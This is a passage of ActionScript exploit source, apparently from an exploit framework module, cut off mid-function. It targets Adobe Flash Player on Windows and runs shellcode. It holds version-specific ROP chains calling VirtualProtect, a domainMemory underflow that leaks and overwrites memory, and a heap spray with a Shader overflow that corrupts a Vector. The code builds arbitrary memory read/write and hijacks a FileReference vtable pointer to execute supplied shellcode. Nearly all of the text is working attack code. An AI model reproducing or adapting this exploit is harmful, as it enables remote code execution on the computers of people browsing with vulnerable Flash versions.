case "win 11,2,202,235":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7734032);
|
||||
_local_5 = (vftableAddr_copy + 0x940000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4947578));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2022729));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5249755));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6828928));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4261382));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4553024));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2847456));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,300,257":
|
||||
vftableAddr_copy = (vftableAddr_copy - 8232016);
|
||||
_local_5 = (vftableAddr_copy + 0x9C3000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5328586));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2069614));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6497300));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7222148));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5022322));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4972967));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3071572));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,300,273":
|
||||
vftableAddr_copy = (vftableAddr_copy - 8236216);
|
||||
_local_5 = (vftableAddr_copy + 0x9C4000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5331930));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2070667));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6500737));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7226252));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5142060));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5127634));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3074828));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,4,402,278":
|
||||
vftableAddr_copy = (vftableAddr_copy - 8503560);
|
||||
_local_5 = (vftableAddr_copy + 0xA23000);
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5581452));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1202409));
|
||||
payload.position = 76;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6927402));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7480208));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5373116));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5713520));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3269652));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,4,402,287":
|
||||
vftableAddr_copy = (vftableAddr_copy - 8507728);
|
||||
_local_5 = (vftableAddr_copy + 0xA24000);
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5582348));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1202841));
|
||||
payload.position = 76;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6927143));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7484304));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5481024));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5107604));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5747979));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,5,502,110":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11716376);
|
||||
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||||
payload.position = 20;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9813154));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 448623));
|
||||
payload.position = 96;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9326463));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5731300));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 8910259));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 8630687));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,5,502,135":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11716400);
|
||||
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1101327));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4733912));
|
||||
payload.position = 76;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4540));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 28862));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 512197));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1560889));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,5,502,146":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11716320);
|
||||
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1101327));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4733912));
|
||||
payload.position = 76;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4540));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 28862));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 512197));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1560889));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,5,502,149":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11712240);
|
||||
_local_5 = (vftableAddr_copy + 0xEC6000);
|
||||
payload.position = 5;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10373824));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4331881));
|
||||
payload.position = 77;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9292830));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10691852));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5731956));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7150772));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3344264));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,6,602,168":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11825816);
|
||||
_local_5 = (vftableAddr_copy + 0xEE9000);
|
||||
payload.position = 5;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9924439));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4370139));
|
||||
payload.position = 77;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9564155));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10736920));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5830863));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9044861));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7984191));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,6,602,171":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11834040);
|
||||
_local_5 = (vftableAddr_copy + 0xEEA000);
|
||||
payload.position = 5;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9925589));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4370636));
|
||||
payload.position = 77;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9564442));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10741016));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5771380));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10153408));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7983199));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,6,602,180":
|
||||
vftableAddr_copy = (vftableAddr_copy - 11824712);
|
||||
_local_5 = (vftableAddr_copy + 0xEE9000);
|
||||
payload.position = 5;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9923173));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4368414));
|
||||
payload.position = 77;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9562061));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10736920));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5828990));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 9042989));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 8661666));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,7,700,169":
|
||||
vftableAddr_copy = (vftableAddr_copy - 12902952);
|
||||
_local_5 = (vftableAddr_copy + 16904192);
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1116239));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 10368763));
|
||||
payload.position = 76;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2586086));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 11752328));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 32732));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 8192266));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1578904));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,7,700,202":
|
||||
vftableAddr_copy = (vftableAddr_copy - 0xc4f508);
|
||||
_local_5 = (vftableAddr_copy + 0x101f000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0x7dfcd2)); // 107dfcd2 : add esp,44h ; ret
|
||||
payload.position = 0x40;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0x12a269)); // 1012a269 : xchg edx,esp ; add eax,dword ptr [eax]; add byte ptr [edi+5Eh],bl ; pop ecx ; ret
|
||||
payload.position = 0x50;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0xcb497)); // 100cb497 : pop eax ; ret
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0xb35388)); // 10b35388 : ptr to VirtualProtect
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0x110d3d)); // 10110d3d : mov eax,dword ptr [eax] ; ret
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0x887362)); // 10887362 : push eax ; ret
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 0x331bff)); // 10331bff : jmp esp
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(0x40);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,8,800,97":
|
||||
vftableAddr_copy = (vftableAddr_copy - 129165844);
|
||||
_local_5 = (vftableAddr_copy + 16904192);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt(vftableAddr_copy);
|
||||
payload.position = 16;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 117625919));
|
||||
payload.writeUnsignedInt(-1810746282);
|
||||
payload.writeUnsignedInt((scAddr + 76));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 122565891));
|
||||
payload.position = 44;
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 0x0400));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 123362382));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((scAddr + 192));
|
||||
payload.position = 112;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 32365));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 11760520));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1117213));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3721232));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 8274178));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,8,800,50":
|
||||
vftableAddr_copy = (vftableAddr_copy - 12936000);
|
||||
_local_5 = (vftableAddr_copy + 17149952);
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 404531));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2583617));
|
||||
payload.position = 72;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 7914140));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4550));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 11780992));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 32684));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 142358));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1577816));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
default:
|
||||
return (null);
|
||||
};
|
||||
return (payload);
|
||||
}
|
||||
|
||||
public function exploit():Boolean
|
||||
{
|
||||
var vector_objects_entry_length:int;
|
||||
var shellcode_byte = null;
|
||||
var _local_6:uint;
|
||||
var i:int;
|
||||
var vftable_addr:uint;
|
||||
var shellcode_address:uint;
|
||||
var vector_objects_entry_idx:uint;
|
||||
var length_vector_byte_arrays:uint;
|
||||
var vector_byte_arrays:Vector.<ByteArray> = new Vector.<ByteArray>(0);
|
||||
var vector_objects:Vector.<Object> = new Vector.<Object>(0);
|
||||
var twos_object:Object = new <Object>[2, 2, 2, 2, 2, 2, 2, 2];
|
||||
var vickers_byte_array:ByteArray = new ByteArray();
|
||||
while (i < 0x0500)
|
||||
{
|
||||
vector_byte_arrays[i] = new ByteArray();
|
||||
vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
|
||||
i++;
|
||||
};
|
||||
vickers_byte_array.writeUTFBytes("vickers");
|
||||
vickers_byte_array.length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
|
||||
ApplicationDomain.currentDomain.domainMemory = vickers_byte_array;
|
||||
vector_byte_arrays[i] = new ByteArray();
|
||||
vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
|
||||
length_vector_byte_arrays = i;
|
||||
i = 0;
|
||||
while (i < (vector_byte_arrays.length - 1))
|
||||
{
|
||||
vector_byte_arrays[i++] = null;
|
||||
};
|
||||
i = 0;
|
||||
while (i < 0x8000)
|
||||
{
|
||||
vector_objects[i] = new <Object>[i, twos_object, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1];
|
||||
i++;
|
||||
};
|
||||
// _local_6 => nil => 0, makes li32(_local_6 - offset) makes it underflow!
|
||||
// Example leak: 0275ef00 => 10c4f508 0000003b 00002326
|
||||
if (((!((li16((_local_6 + 1)) == 114))) && (((vftable_addr = li32((_local_6 - 0x0100)) ) == 305419896))))
|
||||
{
|
||||
};
|
||||
if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_idx = li32((_local_6 - 248)) ) == 305419896))))
|
||||
{
|
||||
};
|
||||
vector_objects_entry_idx = (vector_objects_entry_idx >> 3);
|
||||
if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_length = li32((_local_6 - 252)) ) == 305419896))))
|
||||
{
|
||||
};
|
||||
|
||||
// No success
|
||||
if (vector_objects_entry_length != vector_objects[vector_objects_entry_idx].length)
|
||||
{
|
||||
vickers_byte_array = null;
|
||||
vector_byte_arrays[length_vector_byte_arrays] = null;
|
||||
i = 0;
|
||||
while (i < vector_objects.length)
|
||||
{
|
||||
vector_objects[i++] = null;
|
||||
};
|
||||
return (false);
|
||||
};
|
||||
|
||||
i = 0;
|
||||
while (i < vector_objects.length)
|
||||
{
|
||||
if (i != vector_objects_entry_idx)
|
||||
{
|
||||
vector_objects[i] = null;
|
||||
};
|
||||
i++;
|
||||
};
|
||||
// Use underflow to leak shellcode address
|
||||
if (((!((li16((_local_6 + 1)) == 114))) && (((shellcode_address = li32((_local_6 - 0x0200)) ) == 305419896))))
|
||||
{
|
||||
};
|
||||
shellcode_address = (shellcode_address + 0x1300);
|
||||
var rop_payload:ByteArray = makePayload(vftable_addr, shellcode_address);
|
||||
if (rop_payload == null)
|
||||
{
|
||||
return (true);
|
||||
};
|
||||
var j:uint;
|
||||
var shellcode_length:uint = shellcode.length;
|
||||
var shellcode_byte_array:ByteArray = new ByteArray();
|
||||
shellcode_byte_array.endian = "littleEndian";
|
||||
while (j < shellcode_length)
|
||||
{
|
||||
shellcode_byte = (shellcode.charAt(j) + shellcode.charAt((j + 1)));
|
||||
shellcode_byte_array.writeByte(parseInt(shellcode_byte, 16));
|
||||
j = (j + 2);
|
||||
};
|
||||
vector_byte_arrays[length_vector_byte_arrays].position = 0;
|
||||
vector_byte_arrays[length_vector_byte_arrays].endian = "littleEndian";
|
||||
vector_byte_arrays[length_vector_byte_arrays].writeBytes(rop_payload);
|
||||
vector_byte_arrays[length_vector_byte_arrays].writeBytes(shellcode_byte_array);
|
||||
// Use underflow to overwrite and get code execution
|
||||
if (li16((_local_6 + 1)) != 114)
|
||||
{
|
||||
si32((shellcode_address + 1), (_local_6 - 244));
|
||||
};
|
||||
vector_objects[vector_objects_entry_idx][1][0];
|
||||
return (true);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}//package
|
|
@ -0,0 +1,411 @@
|
|||
//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf
|
||||
package {
|
||||
import flash.display.Sprite;
|
||||
import flash.utils.ByteArray;
|
||||
import flash.display.Shader;
|
||||
import flash.system.Capabilities;
|
||||
import flash.net.FileReference;
|
||||
import flash.utils.Endian;
|
||||
import __AS3__.vec.Vector;
|
||||
import __AS3__.vec.*;
|
||||
import flash.display.LoaderInfo;
|
||||
|
||||
public class Graph extends Sprite {
|
||||
|
||||
static var counter:uint = 0;
|
||||
|
||||
protected var Shad:Class;
|
||||
var shellcode_byte_array:ByteArray;
|
||||
var aaab:ByteArray;
|
||||
var shellcodeObj:Array;
|
||||
|
||||
public function Graph(){
|
||||
var tweaked_vector:* = undefined;
|
||||
var tweaked_vector_address:* = undefined;
|
||||
var shader:Shader;
|
||||
var flash_memory_protect:Array;
|
||||
var code_vectors:Array;
|
||||
var address_code_vector:uint;
|
||||
var address_shellcode_byte_array:uint;
|
||||
this.Shad = Graph_Shad;
|
||||
super();
|
||||
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
|
||||
var i:* = 0;
|
||||
var j:* = 0;
|
||||
|
||||
// Just one try
|
||||
counter++;
|
||||
if (counter > 1)
|
||||
{
|
||||
return;
|
||||
};
|
||||
|
||||
// Memory massage
|
||||
var array_length:uint = 0x10000;
|
||||
var vector_size:uint = 34;
|
||||
var array:Array = new Array();
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i] = new Vector.<int>(1);
|
||||
i++;
|
||||
};
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i] = new Vector.<int>(vector_size);
|
||||
i++;
|
||||
};
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[i].length = 0;
|
||||
i++;
|
||||
};
|
||||
i = 0x0200;
|
||||
while (i < array_length)
|
||||
{
|
||||
array[(i - (2 * (j % 2)))].length = 0x0100;
|
||||
i = (i + 28);
|
||||
j++;
|
||||
};
|
||||
|
||||
// Overflow and Search for corrupted vector
|
||||
var corrupted_vector_idx:uint;
|
||||
var shadba:ByteArray = (new this.Shad() as ByteArray);
|
||||
shadba.position = 232;
|
||||
if (Capabilities.os.indexOf("Windows 8") >= 0)
|
||||
{
|
||||
shadba.writeUnsignedInt(2472);
|
||||
};
|
||||
shadba.position = 0;
|
||||
while (1)
|
||||
{
|
||||
shader = new Shader();
|
||||
try
|
||||
{
|
||||
shader.byteCode = (new this.Shad() as ByteArray);
|
||||
} catch(e)
|
||||
{
|
||||
};
|
||||
i = 0;
|
||||
while (i < array_length)
|
||||
{
|
||||
if (array[i].length > 0x0100)
|
||||
{
|
||||
corrupted_vector_idx = i;
|
||||
break;
|
||||
};
|
||||
i++;
|
||||
};
|
||||
if (i != array_length)
|
||||
{
|
||||
if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break;
|
||||
};
|
||||
array.push(new Vector.<int>(vector_size));
|
||||
};
|
||||
|
||||
// Tweak the vector following the corrupted one
|
||||
array[corrupted_vector_idx][vector_size] = 0x40000001;
|
||||
tweaked_vector = array[(corrupted_vector_idx + 1)];
|
||||
|
||||
// repair the corrupted vector by restoring its
|
||||
// vector object pointer and length
|
||||
var vector_obj_addr:* = tweaked_vector[0x3fffffff];
|
||||
tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr;
|
||||
tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size;
|
||||
i = 0;
|
||||
var val:uint;
|
||||
while (true)
|
||||
{
|
||||
val = tweaked_vector[(0x40000000 - i)];
|
||||
if (val == 0x90001B) break;
|
||||
i++;
|
||||
};
|
||||
tweaked_vector_address = 0;
|
||||
if (tweaked_vector[((0x40000000 - i) - 4)] > 0)
|
||||
{
|
||||
tweaked_vector[4] = 0x41414141;
|
||||
tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8);
|
||||
};
|
||||
|
||||
// More memory massage, fill an array of FileReference objects
|
||||
var file_reference_array:Array = new Array();
|
||||
i = 0;
|
||||
while (i < 64)
|
||||
{
|
||||
file_reference_array[i] = new FileReference();
|
||||
i++;
|
||||
};
|
||||
|
||||
var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address);
|
||||
var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20));
|
||||
var do_it:Boolean = true;
|
||||
var memory_protect_ptr:uint;
|
||||
var aaaq:uint;
|
||||
if (do_it)
|
||||
{
|
||||
flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address);
|
||||
memory_protect_ptr = flash_memory_protect[0];
|
||||
aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment
|
||||
code_vectors = this.createCodeVectors(0x45454545, 0x90909090);
|
||||
address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545);
|
||||
this.fillCodeVectors(code_vectors);
|
||||
tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call
|
||||
tweaked_vector[4] = aaaq;
|
||||
tweaked_vector[0] = 0x1000; // Length
|
||||
tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
|
||||
|
||||
// 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=????????
|
||||
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
|
||||
|
||||
// 1) Set memory as executable
|
||||
i = 0;
|
||||
while (i < 64)
|
||||
{
|
||||
file_reference_array[i].cancel();
|
||||
i++;
|
||||
};
|
||||
|
||||
// 2) Execute shellcode
|
||||
tweaked_vector[7] = address_code_vector;
|
||||
i = 0;
|
||||
while (i < 64)
|
||||
{
|
||||
file_reference_array[i].cancel();
|
||||
i++;
|
||||
};
|
||||
|
||||
// Restore FileReference cancel function pointer
|
||||
// Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads
|
||||
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address);
|
||||
};
|
||||
}
|
||||
|
||||
// returns the integer at memory address
|
||||
// vector: vector with tweaked length
|
||||
// vector_address: vector's memory address
|
||||
// address: memory address to read
|
||||
function read_memory(vector:Vector.<int>, vector_address:uint, address:uint):uint{
|
||||
if (address >= vector_address)
|
||||
{
|
||||
return (vector[((address - vector_address) / 4)]);
|
||||
};
|
||||
return (vector[(0x40000000 - ((vector_address - address) / 4))]);
|
||||
}
|
||||
|
||||
function write_memory(vector:Vector.<int>, vector_address:uint, address:uint, value:uint){
|
||||
if (address >= vector_address)
|
||||
{
|
||||
vector[((address - vector_address) / 4)] = value;
|
||||
} else
|
||||
{
|
||||
vector[(0x40000000 - ((vector_address - address) / 4))] = value;
|
||||
};
|
||||
}
|
||||
|
||||
function findFlashMemoryProtect(vector:*, vector_address:*):Array{
|
||||
var content:uint;
|
||||
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
|
||||
var index:uint;
|
||||
var memory_protect_ptr:uint;
|
||||
var _local_6:uint;
|
||||
if (allocation >= vector_address)
|
||||
{
|
||||
index = ((allocation - vector_address) / 4);
|
||||
} else
|
||||
{
|
||||
index = (0x40000000 - ((vector_address - allocation) / 4));
|
||||
};
|
||||
|
||||
//push 1 ; 6a 01
|
||||
//push dword ptr [eax-8] ; ff 70 f8
|
||||
//push dword ptr [eax-4] ; ff 70 fc
|
||||
//call sub_1059DD00 // Will do VirtualProtect
|
||||
var offset:uint;
|
||||
while (1)
|
||||
{
|
||||
index--;
|
||||
content = vector[index];
|
||||
if (content == 0xfff870ff)
|
||||
{
|
||||
offset = 2;
|
||||
break;
|
||||
};
|
||||
if (content == 0xf870ff01)
|
||||
{
|
||||
offset = 1;
|
||||
break;
|
||||
};
|
||||
if (content == 0x70ff016a)
|
||||
{
|
||||
content = vector[(index + 1)];
|
||||
if (content == 0xfc70fff8)
|
||||
{
|
||||
offset = 0;
|
||||
break;
|
||||
};
|
||||
} else
|
||||
{
|
||||
if (content == 0x70fff870)
|
||||
{
|
||||
offset = 3;
|
||||
break;
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
memory_protect_ptr = ((vector_address + (4 * index)) - offset);
|
||||
index--;
|
||||
var content_before:uint = vector[index];
|
||||
|
||||
if (content_before == 0x16a0424)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
if (content_before == 0x6a042444)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
if (content_before == 0x424448b)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
if (content_before == 0xff016a04)
|
||||
{
|
||||
return ([memory_protect_ptr, _local_6]);
|
||||
};
|
||||
_local_6 = (memory_protect_ptr - 6);
|
||||
|
||||
while (1)
|
||||
{
|
||||
index--;
|
||||
content = vector[index];
|
||||
if (content == 0x850ff50)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0x5e0cc483)
|
||||
{
|
||||
offset = 0;
|
||||
break;
|
||||
};
|
||||
};
|
||||
content = (content & 0xFFFFFF00);
|
||||
if (content == 0x50FF5000)
|
||||
{
|
||||
if (uint(vector[(index + 1)]) == 0xcc48308)
|
||||
{
|
||||
offset = 1;
|
||||
break;
